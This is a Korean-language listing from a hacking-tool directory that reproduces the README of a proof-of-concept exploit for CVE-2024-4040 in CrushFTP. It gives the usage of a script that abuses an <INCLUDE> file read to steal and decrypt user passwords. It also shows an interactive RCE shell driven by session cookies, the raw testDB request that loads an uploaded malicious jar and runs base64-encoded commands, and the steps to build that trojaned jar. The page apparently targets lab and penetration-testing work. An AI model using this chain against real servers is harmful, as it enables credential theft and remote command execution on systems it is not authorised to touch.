Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-4040 — CVE-2024-4040 PoC | Kitploit
도구/GitHubGitHub/entroychang/cve-2024-4040
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubentroychang/cve-2024-4040

CVE-2024-4040

CVE-2024-4040 PoC

저장소 보기
312년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-4040

서문

  • 최근에 이 취약점을 보고 꽤 흥미로워서 다음 글을 읽고 exploit을 약간 작성해 보았습니다.
    • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
    • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

대상 머신

  • 다른 사람의 docker를 사용했습니다. 자세한 내용은 작성자의 GitHub를 참조하세요.
    • https://github.com/MarkusMcNugen/docker-CrushFTP
root@kitploit:~
docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volumn>:/var/opt/CrushFTP10 markusmcnugen/crushftp:latest

공격 프로세스

비밀번호 획득

  • exploit.py와 decrypt.java를 통해 비밀번호를 획득하고 복호화합니다. 간단히 말해 key가 하드코딩되어 있기 때문에 복호화가 가능하고 임의 파일 읽기가 가능합니다.
  • 여기서 주의할 점은 기본 admin인 crushadmin이 존재하지 않는 경우 CrushFTP.log를 가져와 계정 정보를 참조할 수 있다는 것입니다.
    • <INCLUDE>CrushFTP.log</INCLUDE>

exploit.py

root@kitploit:~
usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path
  • 로직은 먼저 대상에 취약점이 있는지 확인하는데, 기본적으로 존재하는 네 개의 계정을 사용하여 user.XML 파일을 획득하려고 시도합니다.
  • 취약점이 확인되면 사용자가 지정한 계정을 가져오고, 지정하지 않으면 기본 admin 계정인 crushadmin을 사용합니다.
  • 비밀번호를 획득하면 decrypt.java를 사용하여 비밀번호를 복호화합니다.
  • --shell 기능은 RCE 이후 결과를 편리하게 보기 위한 것입니다. 아래 방식으로 jar 파일을 업로드한 후 --jar-path와 --headers를 지정하면 명령 실행 결과를 볼 수 있습니다.
    • 주의할 점은 --headers에 로그인 후의 Cookie를 반드시 제공해야 한다는 것입니다. 예: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
    • --jar-path 기본값은 /tmp/mysql_cmd_db_user_final_with_echo_base64.jar이며, 다른 위치에 있다면 경로를 지정해야 합니다. 이론적으로 상대 경로도 가능하지만 절대 경로를 권장합니다.
    • 종료하려면 exit을 입력하면 됩니다.
    • 예시 명령어: python3 exploit.py -u http://0.0.0.0:8081 --shell --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"

로그인하여 매핑 및 권한 조정

  • 로그인 후 admin에 접속합니다.
  • User Manager를 찾은 후 왼쪽의 사용자를 클릭하고, 매핑하려는 폴더를 User's Stuff로 드래그한 다음 권한을 조정합니다. upload는 반드시 체크해야 합니다.

악성 jar 파일 업로드

  • 악성 jar 파일을 업로드합니다. 두 가지 버전을 미리 컴파일해 두었는데, 하나는 jdk 16용이고 다른 하나는 13용입니다. 서버의 Java 버전에 따라 선택합니다.
  • files로 돌아가 upload를 클릭한 후 악성 jar 파일을 업로드합니다.

RCE

  • RCE의 이유는 간단히 말해 testDB 기능이 있어 jar 파일과 driver object를 직접 지정할 수 있고, 업로드가 가능하여 이 두 가지를 연결하면 RCE를 할 수 있기 때문입니다.
root@kitploit:~
command=testDB&db_driver_file=<path_to_eviil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>
    • 이미지의 명령어는 id입니다.
    • db_user 매개변수에 base64로 인코딩된 명령어를 전달하면 실행됩니다.
  • 제가 수정한 mysql connector는 5.0.4 버전입니다.
  • 컴파일된 두 버전이 모두 작동하지 않으면 제가 수정한 버전을 제공하며, 아래 명령어로 다시 컴파일할 수 있습니다.
    • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
    • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
    • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
    • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *
도구 다운로드